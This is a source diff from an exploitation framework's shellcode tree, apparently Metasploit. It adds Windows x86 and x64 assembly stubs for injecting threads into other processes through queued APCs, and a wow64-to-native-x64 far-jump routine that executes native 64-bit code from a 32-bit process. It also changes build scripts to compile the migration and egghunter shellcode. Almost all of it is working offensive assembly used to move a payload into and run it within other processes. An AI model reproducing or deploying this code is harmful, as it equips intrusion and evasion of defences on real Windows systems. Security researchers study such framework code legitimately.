diff --git a/external/source/shellcode/windows/x64/build.py b/external/source/shellcode/windows/x64/build.py index 0a1daa1460..053fb776e6 100644 --- a/external/source/shellcode/windows/x64/build.py +++ b/external/source/shellcode/windows/x64/build.py @@ -80,6 +80,10 @@ def main( argv=None ): if argv[1] == "clean": clean() elif argv[1] == "all": + for root, dirs, files in os.walk( "./src/migrate/" ): + for name in files: + if name[-4:] == ".asm": + build( name[:-4] ) for root, dirs, files in os.walk( "./src/single/" ): for name in files: if name[-4:] == ".asm": diff --git a/external/source/shellcode/windows/x64/src/migrate/apc.asm b/external/source/shellcode/windows/x64/src/migrate/apc.asm new file mode 100644 index 0000000000..83d945d1d2 --- /dev/null +++ b/external/source/shellcode/windows/x64/src/migrate/apc.asm @@ -0,0 +1,51 @@ +;-----------------------------------------------------------------------------; +; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com) +; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4 +; Architecture: x64 +; Version: 1.0 (Jan 2010) +; Size: 248 bytes +; Build: >build.py apc +;-----------------------------------------------------------------------------; + +; A small stub to be used for thread injection where we gain execution via an injected APC. See the +; file "\msf3\external\source\meterpreter\source\common\arch\win\i386\base_dispatch.c" for more details + +;typedef struct _APCCONTEXT +;{ +; union +; { +; LPVOID lpStartAddress; +; BYTE bPadding1[8]; +; } s; +; union +; { +; LPVOID lpParameter; +; BYTE bPadding2[8]; +; } p; +; BYTE bExecuted; +;} APCCONTEXT, * LPAPCCONTEXT; + +[BITS 64] +[ORG 0] + + cld ; Clear the direction flag. + cmp byte [rcx+16], 0 ; Has this context allready been injected? 'if( ctx->bExecuted == FALSE )' + jne cleanup ; If so just leave this APC + mov byte [rcx+16], 1 ; Otherwise mark the context as executed and proceed + sub rsp, 120 ; Alloc some space on stack + call start ; Call start, this pushes the address of 'api_call' onto the stack. +delta: ; +%include "./src/block/block_api.asm" ; +start: ; + pop rbp ; Pop off the address of 'api_call' for calling later. + mov r8, [rcx] ; r8 = ctx->lpStartAddress + mov r9, [rcx+8] ; r9 = ctx->lpParameter + xor rcx, rcx ; Clear ECX, lpThreadAttributes + xor rdx, rdx ; Clear EDX, dwStackSize + push rcx ; lpThreadId + push rcx ; dwCreationFlags + mov r10d, 0x160D6838 ; hash( "kernel32.dll", "CreateThread" ) + call rbp ; CreateThread( NULL, 0, ctx->lpStartAddress, ctx->lpParameter, 0, NULL ); + add rsp, (120 + 32 + (8*2)) ; fix up stack (120 bytes we alloced, 32 bytes for the single call to api_call, and 2*8 bytes for the two params we pushed). +cleanup: + ret ; Return and finish our APC routine. diff --git a/external/source/shellcode/windows/x64/src/single/migrate.asm b/external/source/shellcode/windows/x64/src/migrate/migrate.asm similarity index 100% rename from external/source/shellcode/windows/x64/src/single/migrate.asm rename to external/source/shellcode/windows/x64/src/migrate/migrate.asm diff --git a/external/source/shellcode/windows/x86/build.py b/external/source/shellcode/windows/x86/build.py index c8114ae8eb..ad8ef97384 100644 --- a/external/source/shellcode/windows/x86/build.py +++ b/external/source/shellcode/windows/x86/build.py @@ -68,6 +68,13 @@ def xmit( name, dump_ruby=True ): xmit_offset( data, "ExitFunk", pack( "H", 0x1122 ) ) # Egg tag size + if( name.find( "egghunter" ) >= 0 ): + null_count = data.count( "\x00" ) + if( null_count > 0 ): + print "# Note: %d NULL bytes found." % ( null_count ) if dump_ruby: xmit_dump_ruby( data ) #=============================================================================# @@ -82,6 +89,12 @@ def main( argv=None ): if argv[1] == "clean": clean() elif argv[1] == "all": + for root, dirs, files in os.walk( "./src/egghunter/" ): + for name in files: + build( name[:-4] ) + for root, dirs, files in os.walk( "./src/migrate/" ): + for name in files: + build( name[:-4] ) for root, dirs, files in os.walk( "./src/single/" ): for name in files: build( name[:-4] ) diff --git a/external/source/shellcode/windows/x86/src/migrate/apc.asm b/external/source/shellcode/windows/x86/src/migrate/apc.asm new file mode 100644 index 0000000000..3423a2afcf --- /dev/null +++ b/external/source/shellcode/windows/x86/src/migrate/apc.asm @@ -0,0 +1,55 @@ +;-----------------------------------------------------------------------------; +; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com) +; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4 +; Architecture: x86 (but not wow64) +; Version: 1.0 (Jan 2010) +; Size: 183 bytes +; Build: >build.py apc +;-----------------------------------------------------------------------------; + +; A small stub to be used for thread injection where we gain execution via an injected APC. See the +; file "\msf3\external\source\meterpreter\source\common\arch\win\i386\base_dispatch.c" for more details + +;typedef struct _APCCONTEXT +;{ +; union +; { +; LPVOID lpStartAddress; +; BYTE bPadding1[8]; +; } s; +; union +; { +; LPVOID lpParameter; +; BYTE bPadding2[8]; +; } p; +; BYTE bExecuted; +;} APCCONTEXT, * LPAPCCONTEXT; + +[BITS 32] +[ORG 0] + + cld ; Clear the direction flag. + mov eax, [esp+4] ; EAX is a pointer to our apc stub context + push ebp ; Prologue, save EBP... + mov ebp, esp ; And create a new stack frame + call start ; Call start, this pushes the address of 'api_call' onto the stack. +delta: ; +%include "./src/block/block_api.asm" ; +start: ; + pop ebx ; Pop off the address of 'api_call' for calling later. + cmp byte [eax+16], 0 ; Has this context allready been injected + jne cleanup ; If so just leave this APC + mov byte [eax+16], 1 ; Otherwise mark the context as executed and proceed + xor ecx, ecx ; Clear ECX + push ecx ; lpThreadId + push ecx ; dwCreationFlags + push dword [eax+8] ; ctx->lpParameter + push dword [eax] ; ctx->lpStartAddress + push ecx ; dwStackSize + push ecx ; lpThreadAttributes + push 0x160D6838 ; hash( "kernel32.dll", "CreateThread" ) + call ebx ; CreateThread( NULL, 0, ctx->lpStartAddress, ctx->lpParameter, 0, NULL ); +cleanup: + leave ; epilogue + retn 12 ; Return (cleaning up stack params) and finish our APC routine. + \ No newline at end of file diff --git a/external/source/shellcode/windows/x86/src/migrate/executex64.asm b/external/source/shellcode/windows/x86/src/migrate/executex64.asm new file mode 100644 index 0000000000..a3f2777fde --- /dev/null +++ b/external/source/shellcode/windows/x86/src/migrate/executex64.asm @@ -0,0 +1,62 @@ +;-----------------------------------------------------------------------------; +; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com) +; Compatible: Windows 7, 2008, Vista, 2003, XP +; Architecture: wow64 +; Version: 1.0 (Jan 2010) +; Size: 75 bytes +; Build: >build.py executex64 +;-----------------------------------------------------------------------------; + +; A simple function to execute native x64 code from a wow64 (x86) process. +; Can be called from C using the following prototype: +; typedef DWORD (WINAPI * EXECUTEX64)( X64FUNCTION pFunction, DWORD dwParameter ); +; The native x64 function you specify must be in the following form (as well as being x64 code): +; typedef BOOL (WINAPI * X64FUNCTION)( DWORD dwParameter ); + +; Clobbers: EAX, ECX and EDX (ala the normal stdcall calling convention) +; Un-Clobbered: EBX, ESI, EDI, ESP and EBP can be expected to remain un-clobbered. + +[BITS 32] + +WOW64_CODE_SEGMENT EQU 0x23 +X64_CODE_SEGMENT EQU 0x33 + +start: + push ebp ; prologue, save EBP... + mov ebp, esp ; and create a new stack frame + push esi ; save the registers we shouldn't clobber + push edi ; + mov esi, [ebp+8] ; ESI = pFunction + mov ecx, [ebp+12] ; ECX = dwParameter + call delta ; +delta: + pop eax ; + add eax, (native_x64-delta) ; get the address of native_x64 + + sub esp, 8 ; alloc some space on stack for far jump + mov edx, esp ; EDX will be pointer our far jump + mov dword [edx+4], X64_CODE_SEGMENT ; set the native x64 code segment + mov dword [edx], eax ; set the address we want to jump to (native_x64) + + call go_all_native ; perform the transition into native x64 and return here when done. + + add esp, (8+4+8) ; remove the 8 bytes we allocated + the return address which was never popped off + the qword pushed from native_x64 + pop edi ; restore the clobbered registers + pop esi ; + pop ebp ; restore EBP + retn (4*2) ; return to caller (cleaning up our two function params) + +go_all_native: + mov edi, [esp] ; EDI is the wow64 return address + jmp dword far [edx] ; perform the far jump, which will return to the caller of go_all_native + +native_x64: +[BITS 64] ; we are now executing native x64 code... + xor rax, rax ; zero RAX + push rdi ; save RDI (EDI being our wow64 return address) + call rsi ; call our native x64 function (the param for our native x64 function is allready in RCX) + pop rdi ; restore RDI (EDI being our wow64 return address) + push rax ; simply push it to alloc some space + mov dword [rsp+4], WOW64_CODE_SEGMENT ; set the wow64 code segment + mov dword [rsp], edi ; set the address we want to jump to (the return address from the go_all_native call) + jmp dword far [rsp] ; perform the far jump back to the wow64 caller... diff --git a/external/source/shellcode/windows/x86/src/single/migrate.asm b/external/source/shellcode/windows/x86/src/migrate/migrate.asm similarity index 100% rename from external/source/shellcode/windows/x86/src/single/migrate.asm rename to external/source/shellcode/windows/x86/src/migrate/migrate.asm